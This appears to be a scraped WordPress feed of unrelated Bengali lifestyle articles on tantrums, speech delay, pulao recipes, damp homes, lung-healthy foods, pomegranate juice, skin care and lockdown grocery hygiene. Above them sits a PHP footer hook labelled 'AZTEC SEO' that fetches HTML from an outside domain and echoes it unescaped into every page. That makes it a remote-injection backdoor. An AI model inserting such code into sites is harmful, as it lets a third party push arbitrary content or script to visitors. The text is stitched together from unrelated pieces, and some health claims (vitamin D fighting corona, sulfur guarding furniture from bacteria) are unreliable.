/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
অতিরিক্ত শাসন করবেন না : সন্তান খুব বেশি রেগে গেলে বা জেদ করলে তাকে উল্টো বকাবকি, মারধোর বা শাস্তি দেওয়ার কথা ভাববেন না। বেশিরভাগ ক্ষেত্রেই শিশুরা বিভ্রান্ত হয়ে এমন আচরণ করে, তাই চেষ্টা করবেন এমন সময়ে বাচ্চাকে কাছে নিয়ে ভালোবাসা ও স্নেহের সাথে শান্ত করতে। বকাবকি করলে বিপরীত কিছু হতে পারে।
মাঝেমাঝে অবজ্ঞা করতে শিখুন : বেশিরভাগ বাবা-মাই সন্তান চাওয়া মাত্রই তা সামনে হাজির করেন। সহজেই পেয়ে গেলে শিশু অর্জন করার আনন্দ বা গুরুত্ব বুঝবে না। ফলে কখনও যদি চাওয়া মাত্র কিছু না পায় তখন জেদ দেখাতে শুরু করে। অভিভাবকের উচিত হবে সন্তানের চোখে চোখ না রেখে তার আচরণকে কোনোরকম গুরুত্ব না দেওয়া। মনোযোগ না পেলে হতাশ হয়ে এমনি জেদ কমে যাবে।
শিশুকে ব্যস্ত রাখুন : ফোন, ল্যাপটপ বা টিভি নয়, শিশুর পছন্দের কোনো খেলনা, আঁকার রং বা গল্পের রঙিন বই দিয়ে তাকে ব্যস্ত রাখুন। তাহলে সে রাগ-জেদের কারণ ভুলে অন্যদিকে মনোযোগ দেবে।
বাবা মাকে দেখে শিশুরা শেখে : বাবা-মায়ের মধ্যে সম্পর্ক বা বাড়ির অন্যান্যদের সাথে সবার কেমন ব্যবহার আচরণ তা দেখেই শিশুরা শেখে। তাই তাদের সামনে ঝগড়া চিৎকার চেঁচামেচি করবেন না।
অভিভাবকদের করণীয় : শিশু রাগ বা জেদ দেখাতে শুরু করলে উল্টে রেগে গিয়ে শিশুদের গায়ে হাত তোলা বা বকাঝকা করা যাবে না। যতটা সম্ভব মাথা ঠান্ডা রেখে নরম স্বরে কথা বলতে হবে তাদের সাথে। জেদ করলে শিশুকে ভালোবেসে কাছে রাখুন। স্বাভাবিক হয়ে এলে তাকে ভালোভাবে বোঝানোর চেষ্টা করুন। তাকে বলুন, এমন আচরণ গ্রহণযোগ্য নয়।
বিশেষজ্ঞদের মতে, চার বছরের নিচে শিশুদের অতিরিক্ত জেদের কারণে মারধর, তিক্ত কথাবার্তা বা কঠিন শাস্তি দেওয়া উচিত না। সাধারণত ৩ বছরের পর থেকেই শিশু তার নিজের মনের ভাব সঠিকভাবে প্রকাশ করতে পারে। এর ফলে রাগ বা জেদের সম্ভাবনা ধীরে ধীরে কমে আসে। তবে চার বছর বয়সের পরও যদি অতিরিক্ত রাগের কারণে শিশু নিজেকে বা অন্যকে আঘাত করতে থাকে, বা জেদ না কমে তবে বিশেষজ্ঞের পরামর্শ নিতে পারেন।
]]>কীভাবে বুঝবেন শিশুর স্পিস ডিলে হচ্ছে বা বিলম্বে কথা বলছে?
একটি দুই বছর বয়সী শিশু প্রায় ৫০টি শব্দ বলতে পারে এবং দুই থেকে তিনটি শব্দের বাক্যও ব্যবহার করতে পারে। তিন বছরের মধ্যে তার সাধারণ বাক্য বলার যোগ্যাতা অর্জন করবে। তিন-চারটি শব্দ বলার চেষ্টা করে। এমতাবস্থায় কোনও শিশু যদি তা বলতে না পারে তাহলে তাকে স্পিস ডিলের শ্রেণিতে রাখা যেতে পারে। এটি যদিও বিশেষ ভয়ের কারণ নয়। তবে কখনও কখনও এটি শ্রবণ সমস্যা বা স্নায়ুবিক কারণেও হতে পারে।
কেন স্পিস ডিলে হয়?
বিশেষজ্ঞদের মতে, শিশুরা যদি জন্মের সময় দেরীতে কাঁদে, তারা দেরীতে কথাও বলতে শুরু করে। এছাড়া গর্ভাবস্থায় মায়ের জন্ডিজ হলে বা স্বাভাবিক প্রসবের সময় শিশুর মস্তিষ্কের বাম পাশে আঘাত পেলে শিশুর শ্রবণশক্তি কমে যেতে পারে। যে শিশুরা ঠিকমত শুনতে পায় না তাদের সব কথা লিখতে ও বলতে অসুবিধা হয়।
স্পিস ডিলে কীভাবে চেনা য়ায়
১। সাধারণত : ১৮ মাস বয়সের মধ্যে শিশু কিছু সহজ কথা বলতে শুরু করে। যেমন- মা, বাবা ইত্যাদি।
২। দুই বছর বয়সী একটি শিশু কমপক্ষে ২৫টি শব্দ ব্যবহার করতে পারে। অর্থাৎ যদি শিশু আড়াই বছর বয়সে দুই শব্দের বাক্য না বলে। তিন বছর বয়সে কমপক্ষে প্রশ্ন করলে উত্তর দিতে না পারে।
৩। কোন জিনিসের নাম ধরে না ডাকা বা কিছু জিজ্ঞেস করতে চায় না।
৪। গবেষনায় দেখা যায়- প্রতি পাঁচজন শিশুর মধ্যে একজন শিশু অন্যান্য শিশুদের তুলনায় কথা বার্তায় পিছিয়ে থাকে। আচরণ গত সমস্যাও দেখা যায়।
এমন পরিস্থিতিতে মা-বাবার করণীয় কী ?
একে অপরকে অনুসরণ করার একটি খেলা খেলতে হবে। এতে শিশুটি কথা বলার সাহস পাবে।
শিশুর সাথে ধীরে ধীরে কথা বলুন। শিশুটি যদি কিছুটা বাক্য বলার চেষ্টা তাহলে আপনি তার পূরা বাক্যটি বলে দিন। শিশুর সামনে গুন গুন শব্দ করলেও এতে উপকার হয়। যদি শিশুর সমস্যা পরীক্ষায় ধরা পড়ে তাহলে দেরী না করে শিশুকে সঠিক চিকিৎসা দেয়া দরকার।
ডাঃ মোঃ শওকত হোসেন
MBA (HRM) MA, DHMS ( DHMC)
সিনিয়র কনসালটেন্ট, চিকিৎসক ও অটিজম চিকিৎসক।
আরএইচ হোম সেন্টার, ৭৪/বি/১, গ্রিনরোড, ফার্মগেট, ঢাকা। মোবাইল : ০১৩১০-৫৮০৩০৫
> বিয়েবাড়ি, উৎসব-অনুষ্ঠানে মোরগ পোলাও থাকবেই। আর তার জন্য আগে থেকে মুরগি বা দেশি মোরগ ম্যারিনেট করতে হবে টক দই, আদা-রসুন বাটা, পেঁয়াজের রসে। তার পরে মাংস কষে নিতে হবে। চিনিগুড়া চাল অর্ধেক সিদ্ধ করে নিতে হবে। এ বার নীচে মাংসের স্তর, উপরে অর্ধসিদ্ধ ভাতের স্তর করে উপর থেেক খোয়া ক্ষীর ছড়িয়ে দিতে হবে। পাত্রের মুখ টাইট করে আটকে বসিয়ে দিতে হবে আঁচে। ভিতরে মাংসের রসে মজে মজে ভাতেও আসে সুস্বাদু ফ্লেভার।
> মাটন বা চিকেন কিমা দিয়ে কিমা পোলাও করতে পারেন। এর জন্য প্রথমে গোলমরিচ, পেঁয়াজ-আদার রস, ছোট এলাচ, পাতিলেবুর রস দিয়ে কিমাকে ম্যারিনেট করে রাখতে হবে। একটি বেকিং পাত্রে সকলের নীচে কিমার স্তর, তার উপরে চিনিগুড়া চাল অল্প সিদ্ধ করে তার স্তর তৈরি করে উপর থেকে ঘি ছড়িয়ে দিতে হবে। সবচেয়ে উপরে কাঁচা লঙ্কা ছড়িয়ে দিন। রান্না হয়ে গেলে উপরে কুরোনো চিজ় ছড়িয়ে গরম গরম পরিবেশন করতে হবে।
> শুঁটকির পোলাও খুব জনপ্রিয়। এই পোলাওয়ে চিনিগুড়ার বদলে কালিজিরা চালও ব্যবহার করা যায়। এতে কাঁচা লঙ্কা, পাতিলেবুর রস দেওয়া হয়। আর পরিবেশন করার আগে পোলাওয়ের উপরে ছড়িয়ে দেওয়া হয় বেরেস্তা। রান্নার সময়েও স্তরে স্তরে লাল করে ভাজা পেঁয়াজ দেওয়া হয়। কাঁচা সরষের তেলও লাগে এই পোলাও রান্না করতে।
> পেঁয়াজ দিয়েও ইলিশ রান্না করা হয়। আদা-রসুন বাটা আর পেঁয়াজ বাটা দিয়ে ইলিশ মাছ একটু নাড়াচাড়া করে নিতে হবে। উপরে থাকবে পোলাওয়ের তিন-চতুর্থাংশ রান্না করা ভাত। তার উপর থেকে ঘি, একটু গোলাপ জল ও কেওড়া জল ছড়িয়ে দেওয়া হয়। এই ইলিশ পোলাও কিন্তু পদ্মার তাজা ইলিশে তৈরি করা হয়।
> আর একটি খুব জনপ্রিয় পোলাও হল লেবুপাতার ঘোল পোলাও। এই পোলাওয়ে প্রথমে টক দইয়ের ঘোল বানানো হয়। সেই ঘোলে গন্ধরাজ লেবুর খোসা একটু ঘষে দেওয়া হয়। গন্ধরাজ লেবুর পাতাও দেওয়া হয়। তার পরে এই ঘোলের মধ্যে মাখন, কাঁচা লঙ্কা, নুন ও অল্প চিনি দিয়ে ভাল করে মিশিয়ে নিতে হবে। তার মধ্যে চাল দিয়ে সিদ্ধ করতে হবে। গরম কালেই এই পোলাও বেশি খাওয়া হয়। এতে পেটও ঠান্ডা থাকে। আবার খেতেও ভাল লাগে।
> মনে রাখতে হবে, সব পোলাওই দমে ও ঢিমে আঁচে রান্না করতে হবে। স্লো কুকিং মেথডে চাল সুসিদ্ধ হবে আবার গলেও যাবে না।
]]>বাড়িঘর স্যাঁতসেঁতে হওয়ার কারণগুলি হচ্ছে থার্মাল ইনসুলেশন না হওয়া, পরিষ্কার-পরিচ্ছন্নতার অভাব, ঘরে সূর্যের আলো এবং হাওয়া ঠিকভাবে প্রবেশ না করা। ঘর স্যাঁতসেঁতে থাকার কারণে অলটারনারিয়া, অ্যাসপারগিলাস, পেনিসিলিয়ামের মতো ফাঙ্গাল প্রজাতিগুলি বিকাশ লাভ করে। ফলে হাঁপানি, অ্যালার্জি, ডার্মাটাইটিস এবং রাইনাইটিস সংক্রমণের ঝুঁকি বাড়ায়।
এই সময় ঘরের স্যাঁতসেঁতে ভাব দূর করতে কিছু বিষয় মাথায় রাখুন। যেমন-
১. বাথরুম বা টয়লেট, বন্ধ ঘর অর্থাৎ যেসব জায়গা সবসময় স্যাঁতসেঁতে থাকে এবং ছত্রাক ও পোকামাকড় সহজেই বৃদ্ধি পেতে পারে, সেখানে কীটনাশক ছড়িয়ে দিন।
২. ঘরে সূর্যের আলো প্রবেশ করতে দিন। বাড়ির দরজা, জানালা অল্প সময়ের জন্য হলেও খোলা রাখুন।
৩. সপ্তাহে অন্তত একদিন রান্নাঘর কীটনাশক দিয়ে পরিষ্কার করুন।
৪. লবঙ্গ এবং দারুচিনি পানিতে প্রায় আধ ঘণ্টা ভিজিয়ে রাখুন। এরপর সেই পানি ফুটিয়ে এটি রুম ফ্রেশনার হিসেবে ব্যবহার করুন।
৫. ঘরের যেসব স্থানে সব চেয়ে বেশি পানি ব্যবহৃত হয় এবং সূর্যের আলো সঠিকভাবে পৌঁছতে পারে না, যেমন- বাথরুম, রান্নাঘর এমন জায়গাগুলো শুকনো রাখার চেষ্টা করুন।
৬. বাথরুমের টাইলসের ফাঁকে ফাঁকে ময়লা লেগে থাকলে তা ভালোভাবে পরিষ্কার করা অবশ্যই জরুরি।
৭. স্যাঁতসেঁতে হয়ে খারাপ হয়ে যাওয়া দেওয়ালগুলি ঠিক করতে, ফাটলগুলিতে ওয়াটারপ্রুফ চুন ভরে দিন। তাহলে সেই জায়গা স্যাঁতসেঁতে হবে না।
৮. স্যাঁতসেঁতে ঘরে ঘুমোবেন না। এতে নানা ধরনের সংক্রমণের ঝুঁকি থাকে।
৯. আলমারিতে ন্যাপথলিন রেখে দিন, এতে জামা-কাপড়ের গন্ধ দূর হবে ।
১০. ন্যাপথলিন, স্পিরিট ও নিমের তেল পোকামাকড় দূর করতে বেশ উপকারী। এ সময় এগুলি ব্যবহার করতে পারেন।
১১.আসবাবের নীচে একটি টিনের বা কাঁচের পাত্রে এক টুকরো সালফার বা গন্ধক রেখে দিন, এতে ব্যাকটেরিয়া সংক্রমণ থেকে আসবাব মুক্ত থাকবে।
সূত্র : বোন্ড স্কাই
]]>রসুন: রসুনে অ্যান্টি-ইনফ্ল্যামেটরি বৈশিষ্ট্য রয়েছে। এটি শরীরের রোগ প্রতিরোধ ক্ষমতা বাড়িয়ে তোলে। ফুসফুসের ক্যান্সার হওয়ার ঝুঁকি কমাতে রসুন ভূমিকা পালন করে।
পানি: পানি ফুসফুস পরিষ্কার রাখে। ফুসফুস ভালো রাখতে প্রতিদিন পর্যাপ্ত পরিমান পানি পান করতে হবে।
আপেল ও টমেটো: যারা অতীতে ধুমপান করতেন তাদের জন্য আপেল এবং টমেটো খুবই উপকারী। আপেলে উচ্চ মাত্রার অ্যান্টিঅক্সিডেন্ট রয়েছে। আপেলে থাকা ফেনোলিক যৌগ ও ফ্ল্যাভনয়েড শরীরের প্রদাহ কমায়।
ভিটামিন ডি: ভিটামিন ডি সমৃদ্ধ খাবার যেমন: দুধ ও ডিম রোগ প্রতিরোধ ক্ষমতা বাড়িয়ে তোলে এবং ক্ষতির হাত থেকে ফুসফুসকে রক্ষা করে। এছাড়াও এটি করোনার বিরুদ্ধে লড়াই করে শরীরকে সুস্থ রাখে।
গ্রিন টি: গ্রিন টি তে উচ্চ মাত্রার অ্যান্টিঅক্সিডেন্ট রয়েছে। নিয়মিত গ্রিন টি খেলে ফুসফুস ভালো থাকে। ২০১৭ সালে কোরিয়ান এক গবেষণা থেকে জানা গেছে, যারা নিয়মিত দুই কাপ গ্রিন টি পান করেন, তাদের ফুসফুসের কার্যকারিতা বাড়িয়ে তোলে।
ফ্যাটি অ্যাসিড: ফ্যাটি অ্যাসিডসমৃদ্ধ সামুদ্রিক মাছ ফুসফুসের কার্যকারিতা বাড়ায়।
বাদাম ও বীজ: বাদাম ও বিভিন্ন বীজ ফুসফুস ভালো রাখতে সহায়তা করে। মিষ্টি কুমড়ার বীজ, সূর্যমুখীর বীজ, আখরোট, পেস্তাবাদাম ও কাজুবাদামে প্রচুর পরিমাণে ম্যাগনেশিয়াম ও খনিজ রয়েছে। এসব খাবার শরীর ভালো রাখতে সহায়তা করে।
গোলমরিচ: গোলমরিচে থাকা ক্যাপাসেইসিন উপাদান শ্বাসকষ্টজনিত সমস্যা কমায়। সূত্র: পারাডিডটকম
]]>অ্যানিমিয়া আটকায়
রক্তাল্পতা বা অ্যানিমিয়া নিয়ে একটু আধটু অনেকেই ভোগেন। বিশেষত মহিলারা খুব বেশি সমস্যায় পড়েন। তাঁরা রোজ সকালে খালি পেটে বেদানার রস খেতেই পারেন। অ্যানিমিয়া তো আপনাকে দুর্বলও করে দেয়। তাই একটুতেই হয় তো হাঁপিয়েও পড়েন। এই সমস্যা থেকে মুক্তি দিতে বেদানার রস রোজ সকালে খেতে পারেন। এতে থাকা আয়রন আপনার শরীরের আয়রনের ঘাটতি অনেকটাই কমিয়ে দিতে পারে।
কোষ্টকাঠিন্য দূর
রোজ সকালে বাড়ির বাকিদের থেকে বেশি সময় লাগে বাথরুমে? সারা দিন তাই পেট গুরগুর, গ্যাস, পেট ভার থাকে আপনার? বেদানার রসে সমাধান মিলতে পারে। খালি পেটে রোজ এই রস খান, এতে থাকা ফাইবার আপনার কোষ্টকাঠিন্য সহজেই দূর করে দেবে।
দাঁতের সমস্যা মেটায়
দাঁতের সমস্যার ক্ষেত্রে ব্যাকটিরিয়া, ভাইরাস খুব বড় একটা জায়গা দখল করে থাকে। এই ব্যাকটিরিয়া, ভাইরাস বেদানার রসে বাগে থাকে। তাই যাদের দাঁতের সমস্যা থাকে, তারা রোজ বেদানার রস খেতেই পারেন। পায়োরিয়ার মতো নাছোড় সমস্যাও দূরে যায় এই বেদানার রসেই। তাই যাদের মুখে বিশ্রী গন্ধ হয়, পায়োরিয়া থেকে , তারা এই রস খেতেই পারেন।
হাড় শক্ত হয়
বেদানার রসে থাকা ক্যালসিয়াম আপনার হাড় শক্ত করতে কাজে আসে। শরীরে ক্যালসিয়ামের মাত্রা কমে গেলে একটুতেই হয় তো হাঁপিয়ে যেতে পারেন আপনি। খালি পেটে বেদানার রস খেলে তা থেকে সহজেই শরীরের প্রয়োজনীয় ক্যালসিয়াম পাবেন আপনি। হাড়ও মজবুত হবে তাতে।
অতএব এক ফলে যখন এতগুলো সুফল পাচ্ছেন, রোজ দিন শুরু করুন বেদানার রসে চুমুক দিয়েই।
]]>সীমিত পরিসরে দোকানপাট খুলছে আজ থেকে। তবে, সরকারি ছুটির মেয়াদ ১৬ মে পর্যন্ত বাড়ায় এখনো ঘরবন্দি আপনি। করোনার সংক্রামণ এড়াতে এখনও অধিকাংশ পার্লার বন্ধ। সঠিক ভাবে ত্বকের যত্নও নিতে পারছেন না। ফলে অযতে্ন, অবসাদে বিবর্ণ ত্বকে হামলা কালচে দাগের। আপনিও তাই দেখে মনমরা। সৌন্দর্য বিশেষজ্ঞরা বলছেন, পার্লার ছাড়াই চাঁদমুখ হতে পারে দাগছোপ কলঙ্কহীন। অবসর সময়কে কাজে লাগিয়ে ঘরোয়া উপকরণে নিয়মিত ত্বকের যত্ন নিলে সুন্দর তাকবে ত্বকও!
স্ক্রাবার চর্চা
আপনি প্রাকৃতিক উপাদান ব্যবহার করে স্ক্রাবার বানাতে পারেন। লাগবে ২ চা-চামচ ওটমিল গুঁড়া, ১ চামচ বাদাম গুঁড়া, আধ চামচ মধু-লেবুর রস এবং ১ চামচ কমলা লেবুর রস। সব উপকরণ একসঙ্গে মিশিয়ে নিন। এবার সারা মুখে মেখে হাত দিয়ে আলতো করে মাস্যাজ করুন। মিনিট ১৫ পরে হালকা গরম পানিতে মুখ ধুয়ে নিন।
ঠাণ্ডা টি ব্যাগ
লকডাউনের অবসাদে চোখের নীচে কালি? চিন্তা নেই। সাহায্য করবে রান্নাঘরে থাকা টি ব্যাগ। আগের দিন ব্যবহৃত টি ব্যাগ ফ্রিজে রেখে দিন। পরের দিন গোসলের আগে বা দুপুরে বিশ্রামের সময় আধ ধণ্টা চোখের ওপর রাখুন।
ফেস প্যাক
দাগছোপহীন ত্বক পেতে বাড়িতেই বানিয়ে নিন ফেস প্যাক। একটি বাটিতে ১ চামচ লেবুর রস, ২ চামচ কমলালেবুর রস, ২ চামচ টমেটোর রস, ২ চামচ বেসন নিয়ে ভালো করে মিশিয়ে নিন। এবার মুখে, ঘাড়ে, হাতে মেখে রেখে দিন মিনিট ১০। তারপর আলতো হাতে ঘষে তুলে গোসল করে নিন বা ভালো করে ঠাণ্ডা পানিতে ধুয়ে নিন।
টোনার
টোনার দাগমুক্তির ভালো উপায়। একটি পাত্রে এক চামচ আপেল সিডার ভিনেগার এবং পানি মেশান। এবার তা তুলায় ভিজিয়ে এই মিশ্রণ যেখানে কালো দাগ সেখানে লাগিয়ে রাখুন। মিনিট তিনেক রেখে হালকা গরম পানি দিয়ে ধুয়ে নিন।
কাঁচা দুধ
দুধের ল্যাকটিক অ্যাসিড ত্বককে উজ্জ্বল করতে যথেষ্ট সাহায্য করে। তাই তুলায় করে রোজ কাঁচা দুধ লাগান সারা মুখে এবং শরীরের যেখানে যেখানে কালচে চোপ পড়েছে সেখানে। শুকিয়ে গেলে হালকা গরম পাি তে ধুয়ে নিন। প্রতিদিন দিনে দুবার কাঁচা দুধ ব্যবহার করলে দাগ কমতে থাকবে।
আলুর রস
আলুতে এজাইলিক অ্যাসিড রয়েছে যা দাগ, পিগমেন্টেশন কমায়। হ্রাস করতে সহায়তা করতে পারে। তাই আলুর রস নিয়মিত কালচে ত্বকে ঘষলেও উপকার পাবেন। শুকিয়ে গেলে ঠাণ্ডা জলে ধুয়ে নিন।
অ্যালোভেরা জেল
একটি বাটিতে ২ চামচ অ্যালোভেরা জেল এবং ১ চামচ মধু মিশিয়ে নিন। মিশ্রণটি ৫-১০ মিনিট ভালো করে ফেটান। তারপর কালচে হয়ে যাওয়া অংশে লাগিয়ে না শুকিয়ে যাওয়া পর্যন্ত রেখে দিন। শেষে হালকা গরম পানিতে ভালো করে ধুয়ে ময়েশ্চারাইজার মেখে নিন। নিয়মিত করলে দাগ হালকা হবে এক সপ্তাহেই।
আবার শাক-সবজিও তো স্যানিটাইজার দিয়ে ধোয়া নিরাপদ কী না তাও জানেন না! তবে আসুন জেনে নিই। নোভেল করোনা ভাইরাস খাবারের মাধ্যমে সংক্রামিত হতে পারে বলে বিশ্বাস করা হয় না, তবে এটি পৃষ্ঠতলে থাকতে পারে, যেমন – ফুড প্যাকেজিংয়ের জন্য ব্যবহৃত প্লাস্টিক বা কার্ডবোর্ড, যেটি কোনও অসুস্থ ব্যক্তির দ্বারা স্পর্শ হতে পারে। সুতরাং, মুদিখানা বা শাকসবজি জিনিসপত্র কেনাকাটা করার পাশাপাশি বাড়িতে সেগুলি মজুত করার সময় অতিরিক্ত সতর্কতা অবলম্বন করা জরুরি।
লকডাউন চলাকালীন কীভাবে নিরাপদে মুদি, শাকসবজি ও অন্যান্য প্রয়োজনীয় জিনিসপত্র কেনাকাটা করবেন?
ক) পরিবারের সবচেয়ে স্বাস্থ্যকর ব্যক্তির প্রয়োজনীয় জিনিসপত্র কেনার জন্য বের হওয়া উচিত। খ) প্রয়োজনীয় জিনিসপত্র কেনার জন্য বের হওয়ার সময় সঙ্গে স্যানিটাইজার রাখুন। গ) ফল এবং সবজি হাতে নেওয়ার সময় গ্লাভস পরুন। কারণ আপনার আগে বহু মানুষ সেটি স্পর্শ করেছে এবং গ্লাভস ব্যবহারের পরে তা ফেলে দিন বা ভালভাবে ধুয়ে নেবেন। ঘ) জিনিসপত্র, শপিং কার্টস বা পেমেন্ট মেশিন স্পর্শ করার পরে স্যানিটাইজার লাগিয়ে নিন বা হাত ধুয়ে নিন। ঙ) যদি সম্ভব হয় তবে টাকা লেনদেনের পরিবর্তে অনলাইন পেমেন্ট করুন। চ) ঘরে ফিরে আপনার বাজারের ব্যাগটি বাইরে রেখে কমপক্ষে ২০ সেকেন্ড ধরে সাবান এবং জল দিয়ে আপনার হাত ধুয়ে ফেলুন বা অ্যালকোহল ভিত্তিক হ্যান্ড স্যানিটাইজার ব্যবহার করুন।
কীভাবে মুদি, শাকসবজি ও অন্যান্য জিনিসপত্র পরিষ্কার করবেন?
ক) একটি ভেজা কাপড় দিয়ে খাবারসহ বাক্স বা ক্যানগুলি ভালভাবে মুছুন বা সেগুলি মজুত করার আগে ভালোভাবে পরিষ্কার করুন। খ) কমপক্ষে ২০-৩০ সেকেন্ড ফল এবং শাকসবজিগুলি কল চালিয়ে পানি দিয়ে ভালভাবে ধুয়ে ফেলুন এবং সবজিগুলো শুকনো করে নিন। গ) মুদিখানায় ব্যবহৃত প্লাস্টিক বা বাক্সটি একটি ঢাকনাযুক্ত ডাস্টবিনে ফেলে দিন এবং ফেলে দেওয়ার পরে আবার হাত ধুয়ে ফেলুন।
]]>